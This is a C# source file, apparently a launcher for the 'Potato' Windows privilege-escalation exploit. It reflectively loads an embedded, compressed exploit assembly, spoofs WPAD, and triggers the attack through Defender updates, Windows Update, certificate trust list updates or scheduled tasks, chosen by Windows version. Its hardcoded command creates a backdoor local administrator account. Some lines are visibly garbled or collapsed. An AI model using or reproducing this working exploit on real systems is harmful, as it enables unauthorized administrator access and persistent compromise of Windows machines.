/* ____ __ _____ __ __ / __/_ _ ___ ____ / / ___ ___/ / _ \___ / /____ _/ /____ _\ \/ ' \/ _ `(_- 0) { foreach (var c in strPassword.ToCharArray()) secureStr.AppendChar(c); } return secureStr; } } class Program { public static void PrintBanner() { Console.Clear(); Console.WriteLine(@" ____ __ _____ __ __ "); Console.WriteLine(@" / __/_ _ ___ ____ / / ___ ___/ / _ \___ / /____ _/ /____ "); Console.WriteLine(@" _\ \/ ' \/ _ `(_- 0) { resultStream.Write(buffer, 0, read); } return resultStream.ToArray(); } } public static void Launch(byte[] PotatoBytes, string ip, string wpad, string exhaust, string defender, string task, int port) { // load the bytes into Assembly Assembly a = Assembly.Load(PotatoBytes); // search for the Entry Point MethodInfo method = a.EntryPoint; if (method != null) { // create an instance of the Startup form Main method object o = a.CreateInstance(method.Name); // invoke the application starting point string[] arguments = new string[14]; arguments[0] = "-ip"; arguments[1] = ip; arguments[2] = "-cmd"; arguments[3] = @"C:\\Windows\\System32\\cmd.exe /K net user BadAss FacePalm01 /add && net localgroup administrators BadAss /add"; arguments[4] = "-disable_exhaust"; arguments[5] = exhaust; arguments[6] = "-disable_defender"; arguments[7] = defender; arguments[8] = "-spoof_host"; arguments[9] = wpad; arguments[10] = "-schedule_task"; arguments[11] = task; arguments[12] = "-srv_port"; arguments[13] = port.ToString(); method.Invoke(o, new object[] { arguments } ); } } public static void Main () { PrintBanner(); IPAddress IP = IPAddress.Parse("1.1.1.1"); IPAddress LocalIPAddress = null; foreach (IPAddress address in Dns.GetHostEntry(Dns.GetHostName()).AddressList) { if (address.AddressFamily == AddressFamily.InterNetwork) { LocalIPAddress = address; break; } } if (LocalIPAddress != null) { Console.Write(" Our local IP address is: {0}, do you want to use this? (y/n) > ", LocalIPAddress); IP = LocalIPAddress; } string input = Console.ReadLine(); switch(input.ToLower()) { case "y": break; case "n": while (true) { try { Console.Write("\n Enter ip address of your Potato Listener (e.g. 192.168.1.1): "); Console.ForegroundColor = ConsoleColor.Green; IP = IPAddress.Parse(Console.ReadLine()); Console.ResetColor(); break; } catch { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("\n [!] That's not a valid IP address, Please Try again"); Console.ResetColor(); } } break; default: Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("\n [!] Wrong choice, please try again!"); Console.ResetColor(); return; } int Lport = 80; Console.Write("\n Default port our webserver is listening on is: {0}. Keep this? (y/n) > ", Lport); input = Console.ReadLine(); switch(input.ToLower()) { case "y": break; case "n": while (true) { try { Console.Write("\n Enter a new port for our WebServer to Listen on (e.g. 8000 or 8080): "); Console.ForegroundColor = ConsoleColor.Green; Lport = int.Parse(Console.ReadLine()); Console.ResetColor(); Console.WriteLine(); if (Lport < 1 || Lport > 65535) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("\n [!] That's not a valid Port, Please Try again"); Console.ResetColor(); } else { break; } } catch { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("\n [!] That's not a valid Port, Please Try again"); Console.ResetColor(); } } break; default: Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("\n [!] Wrong choice, please try again!"); Console.ResetColor(); return; } string WpadHost = "WPAD"; Console.Write("\n Default WPAD entry to spoof is: {0}, do you want to use this? (y/n) > ", WpadHost); input = Console.ReadLine(); switch(input.ToLower()) { case "y": break; case "n": Console.Write("\n Enter WPAD host entry to spoof (e.g. WPAD.YOURDOMAIN.LOCAL): "); Console.ForegroundColor = ConsoleColor.Green; WpadHost = Console.ReadLine(); Console.ResetColor(); break; default: Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("\n [!] Wrong choice, please try again!"); Console.ResetColor(); return; } byte[] decoded = Base64_Decode(Potato()); byte[] decompressed = Decompress(decoded); string ListenerIP = IP.ToString(); Console.WriteLine(); Console.WriteLine("\n Now choose your Windows Version:"); Console.WriteLine(); Console.WriteLine(" 1. Windows 7"); Console.WriteLine(); Console.WriteLine(" 2. Windows 2008 (Take some coffee)"); Console.WriteLine(); Console.WriteLine(" 3. Windows 8/Server 2012 (More coffee needed, this could take a while...)"); Console.WriteLine(); Console.WriteLine(" 4. Windows 10 (whoei, that hurts...)"); Console.WriteLine(); Console.WriteLine(" 5. Exit."); Console.Write("\n Enter choice: "); int userInput=0; while (true) { try { userInput = Convert.ToInt32(Console.ReadLine()); if (userInput < 1 || userInput > 5) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("\n [!] Wrong choice, please try again!\n"); Console.ResetColor(); Console.Write(" Enter choice: "); } else { break; } } catch { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("\n [!] Wrong choice, please try again!\n"); Console.ResetColor(); Console.Write(" Enter choice: "); } } string DisableExhaust = null; string DisableDefender = null; string ScheduleTask = null; switch (userInput) { case 1: DisableExhaust = "false"; DisableDefender = "false"; ScheduleTask = "false"; Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("\nWindows 7 can be fairly reliably exploited through the Windows Defender update mechanism.\n"); Console.ResetColor(); Launch(decompressed, ListenerIP, WpadHost, DisableExhaust, DisableDefender, ScheduleTask, Lport); Finished(); break; case 2: DisableExhaust = "false"; DisableDefender = "true"; ScheduleTask = "false"; Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("\nSince Windows Server doesn't come with Defender, we need an alternate method."); Console.WriteLine("Instead we'll simply check for Windows updates..."); Console.WriteLine("After this runs successfully, simply check for Windows updates."); Console.WriteLine("If it doesn't trigger, wait about 30m with the exploit running and check again."); Console.WriteLine("If it still doesn't work, try actually downloading an update.\n"); Console.ResetColor(); Launch(decompressed, ListenerIP, WpadHost, DisableExhaust, DisableDefender, ScheduleTask, Lport); Finished(); break; case 3: DisableExhaust = "false"; DisableDefender = "true"; ScheduleTask = "false"; Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("\nThe Windows Server 2012 R2, Windows Server 2012, Windows 8.1, and Windows 8 operating systems"); Console.WriteLine("include an automatic update mechanism that downloads certificate trust lists (CTLs) on a daily basis."); Console.WriteLine("It appears that this part of Windows still uses WPAD, even when the winhttp proxy setting is set to direct."); Console.WriteLine("At this point, you will need to wait up to 24hrs or find another way to trigger this update.\n"); Console.ResetColor(); Launch(decompressed, ListenerIP, WpadHost, DisableExhaust, DisableDefender, ScheduleTask, Lport); Finished(); break; case 4: DisableExhaust = "true"; DisableDefender = "true"; ScheduleTask = "true"; Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("\nWindows 10 can be exploited immediately using SchTasks.\n"); Console.ResetColor(); Launch(decompressed, ListenerIP, WpadHost, DisableExhaust, DisableDefender, ScheduleTask, Lport); Finished(); break; default: Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("\n Not Hungry for potatoes?\n"); Console.ResetColor(); break; } } } }